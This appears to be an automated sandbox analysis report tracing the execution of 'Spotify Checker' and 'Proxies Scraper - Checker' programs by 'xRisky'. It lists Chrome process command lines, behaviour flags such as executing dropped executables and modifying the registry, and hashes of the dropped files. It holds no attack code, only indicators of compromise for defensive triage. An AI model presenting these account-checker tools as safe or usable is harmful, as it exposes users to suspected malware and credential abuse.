C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2844 /prefetch:12⤵PID:1408
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:12⤵PID:4020
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5052 /prefetch:12⤵PID:4504
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5916 /prefetch:12⤵PID:2900
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5756 /prefetch:12⤵PID:3448
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6284 /prefetch:12⤵PID:2944
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6460 /prefetch:12⤵PID:1552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6288 /prefetch:12⤵PID:2080
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6760 /prefetch:12⤵PID:5092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7136 /prefetch:82⤵PID:968
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2792 /prefetch:12⤵PID:4016
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1612,12992074786274551886,6859017207323493508,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1572 /prefetch:82⤵PID:2724
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\spotify_checker_by_x-risky.zip"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
PID:448
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:4568
-
C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:4692
-
C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:6500
-
C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
PID:1248
-
C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"C:\Users\Admin\Desktop\spotify_checker_by_x-risky\Spotify Checker by xRisky_protected.exe"1⤵
- Executes dropped EXE
PID:1972
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
PID:3240 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffde8984f50,0x7ffde8984f60,0x7ffde8984f702⤵PID:4760
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1640 /prefetch:22⤵PID:7068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1968 /prefetch:82⤵PID:7056
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2704 /prefetch:12⤵PID:6936
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2696 /prefetch:12⤵PID:6944
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2464 /prefetch:82⤵PID:6956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3680 /prefetch:12⤵PID:8180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4496 /prefetch:82⤵PID:5452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4804 /prefetch:82⤵PID:7672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4668 /prefetch:82⤵PID:5392
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5060 /prefetch:82⤵PID:5420
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5060 /prefetch:82⤵PID:5224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2700 /prefetch:12⤵PID:5680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2996 /prefetch:12⤵PID:5768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3140 /prefetch:12⤵PID:5876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4044 /prefetch:12⤵PID:5932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5388 /prefetch:12⤵PID:5992
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5508 /prefetch:12⤵PID:6000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5780 /prefetch:82⤵PID:6108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5684 /prefetch:82⤵PID:6100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:12⤵PID:6260
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6216 /prefetch:82⤵PID:6324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2444 /prefetch:12⤵PID:3408
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5348 /prefetch:12⤵PID:6588
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2856 /prefetch:12⤵PID:6592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5920 /prefetch:12⤵PID:4212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5492 /prefetch:12⤵PID:1348
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2988 /prefetch:12⤵PID:7204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3148 /prefetch:12⤵PID:7216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5584 /prefetch:82⤵PID:7268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:12⤵PID:7308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:12⤵PID:7364
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5696 /prefetch:12⤵PID:7432
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1076 /prefetch:82⤵PID:7512
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=patch.mojom.FilePatcher --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2744 /prefetch:82⤵PID:7544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=patch.mojom.FilePatcher --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2516 /prefetch:82⤵PID:7576
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=patch.mojom.FilePatcher --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3772 /prefetch:82⤵PID:7608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3532 /prefetch:12⤵PID:7756
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3016 /prefetch:12⤵PID:7768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:12⤵PID:6584
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6380 /prefetch:12⤵PID:6500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6344 /prefetch:12⤵PID:2248
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:12⤵PID:1092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6216 /prefetch:82⤵
- Drops file in Program Files directory
PID:8104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1544,12436842804894566024,4513555162339045971,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1104 /prefetch:82⤵PID:4876
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Proxies Scraper - Checker by xRisky v1.0.rar"2⤵
- Executes dropped EXE
PID:6764
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:6628
-
C:\Users\Admin\Desktop\Proxies Scraper - Checker by xRisky v1.0\Proxies Scraper - Checker by xRisky v1.0.exe"C:\Users\Admin\Desktop\Proxies Scraper - Checker by xRisky v1.0\Proxies Scraper - Checker by xRisky v1.0.exe"1⤵
- Executes dropped EXE
- Modifies registry class
PID:6292
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
107KB
MD58933d6e810668af29d7ba8f1c3b2b9ff
SHA1760cbb236c4ca6e0003582aaefd72ff8b1c872aa
SHA256cd3ba458c88bdf8924ebb404c8505d627e6ac7aadc6e351562c1894019604fc7
SHA512344d737228483add83d5f2b31ae9582ca78013dc4be967f2cdafca24145970e3cb46d75373996150a3c9119ebc81ce9ac50e16696c17a4dea65c9571ef8e745e
-
Filesize
632KB
MD5650a771d005941c7a23926011d75ad8f
SHA184b346acd006f21d7ffb8d5ea5937ec0ee3daa4f
SHA256b28d116dd3066e7a3c9f0cc2f63d34a7189c9d78e869d1255c9dec59172a9d5f
SHA5124724bd81c26716f0ad59187c78fbb920fd8b251540e76c28d93e0afcce3ebe0e3e2b4605e9d444bbbc3e828ce11f2b73489404318ab11403eff94b42ef2c9bad
-
Filesize
412KB
MD592667e28583a9489e3cf4f1a7fd6636e
SHA1faa09990ba4daae970038ed44e3841151d6e7f28
SHA2569147293554ad43920bcf763ffd6e1183c36b9f8156dc220548426a187a5f2959
SHA51263555a15f153df59b2ca2ab56cd20d71420eb5c9977bcf774723d8484157172b027f71fb2f7a4692aecc6e471f50beec2e0f7a43e57449714caede1e9684c0b8
-
Filesize
95KB
MD5d4c768c52ee077eb09bac094f4af8310
SHA1c56ae6b4464799fcdc87c5ff5a49ac1ad43482b1
SHA2568089dfbebdf2142c7f60f5c12098859417b3c997f0b24b696ccaa78a50f3726c
SHA5125b794b19b5ff10f7356a46f02204d0df3183037bc89d32e3f2c2978ea8f90ac6367fcb225b476cb7c8a3035d82ca1e328791271d3a58b40b9759d4b65e83f847
-
Filesize
314KB
MD581b236ef16aaa6a3936fd449b12b82a2
SHA1698acb3c862c7f3ecf94971e4276e531914e67bc
SHA256d37819e64ecb61709fcf3435eb9bed790f75163057e36fb94a3465ca353ccc5e
SHA512968fe20d6fe6879939297b8683da1520a1e0d2b9a5107451fca70b91802492e243976f56090c85eb9f38fca8f74134b8b6aa133ba2e2806d763c9f8516ace769
-
Filesize
2.3MB
MD50b114fc0f4b6d49f57b3b01dd9ea6a8c
SHA123e1480c3ff3a54e712d759e9325d362bf52fabd
SHA256f0f312fe14599d7379aa247c1d0cc6100db45bfe7f277113134a8157950bcacd
SHA512e31c3a3da5e72a9d72e245d6e5dcc7c92e4cfcbb6bdbb61061e0586e29f77e8b42a81a0bba99ce45e148a2423907878fb858c40cc1008ef9d90fb8e4e2fcd573
-
Filesize
2.3MB
MD50b114fc0f4b6d49f57b3b01dd9ea6a8c
SHA123e1480c3ff3a54e712d759e9325d362bf52fabd
SHA256f0f312fe14599d7379aa247c1d0cc6100db45bfe7f277113134a8157950bcacd
SHA512e31c3a3da5e72a9d72e245d6e5dcc7c92e4cfcbb6bdbb61061e0586e29f77e8b42a81a0bba99ce45e148a2423907878fb858c40cc1008ef9d90fb8e4e2fcd573
-
Filesize
632KB
MD5650a771d005941c7a23926011d75ad8f
SHA184b346acd006f21d7ffb8d5ea5937ec0ee3daa4f
SHA256b28d116dd3066e7a3c9f0cc2f63d34a7189c9d78e869d1255c9dec59172a9d5f
SHA5124724bd81c26716f0ad59187c78fbb920fd8b251540e76c28d93e0afcce3ebe0e3e2b4605e9d444bbbc3e828ce11f2b73489404318ab11403eff94b42ef2c9bad
-
Filesize
412KB
MD592667e28583a9489e3cf4f1a7fd6636e
SHA1faa09990ba4daae970038ed44e3841151d6e7f28
SHA2569147293554ad43920bcf763ffd6e1183c36b9f8156dc220548426a187a5f2959
SHA51263555a15f153df59b2ca2ab56cd20d71420eb5c9977bcf774723d8484157172b027f71fb2f7a4692aecc6e471f50beec2e0f7a43e57449714caede1e9684c0b8
-
Filesize
717B
MD5ec8ff3b1ded0246437b1472c69dd1811
SHA1d813e874c2524e3a7da6c466c67854ad16800326
SHA256e634c2d1ed20e0638c95597adf4c9d392ebab932d3353f18af1e4421f4bb9cab
SHA512e967b804cbf2d6da30a532cbc62557d09bd236807790040c6bee5584a482dc09d724fc1d9ac0de6aa5b4e8b1fff72c8ab3206222cc2c95a91035754ac1257552
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize1KB
MD55aa51bccb7bf17a514e0d54c0ff358ae
SHA16ae13b0b1ede264a9ddc75f59604b4901fec82b2
SHA256e88724124246757f1e6bca653d073def3880a09db5861e86fcf318709fa2050f
SHA512b60aa5745d36f77e853876175d4fdf9b55513e129d25561e4f842bc950689b623059b8fe2873ca7582e468a1d39a5db37168e8504e879443c3686016b205d1ff
-
Filesize
7KB
MD5b7b387462b4bc93ef941473fa1638679
SHA109687d0460dd1c54114d122392c757adcbcf7683
SHA25609246dc5be245634edb3592f6910b5886ade1cafa3ee18f578ce95b634c331c6
SHA512a4f13f35a609b0d7d06675e369d652a5012bc57ca2e78a94cc9e9b15008723ed622cb5e8422697bccd7a0bcf6e9869fe61172ac7288a95518485956d0c5f3ce9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA
Filesize724B
MD55a11c6099b9e5808dfb08c5c9570c92f
SHA1e5dc219641146d1839557973f348037fa589fd18
SHA25691291a5edc4e10a225d3c23265d236ecc74473d9893be5bd07e202d95b3fb172
SHA512c2435b6619464a14c65ab116ab83a6e0568bdf7abc5e5a5e19f3deaf56c70a46360965da8b60e1256e9c8656aef9751adb9e762731bb8dbab145f1c8224ac8f9
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
Filesize192B
MD53eb17a64e71c353a7dbe9702c63f4861
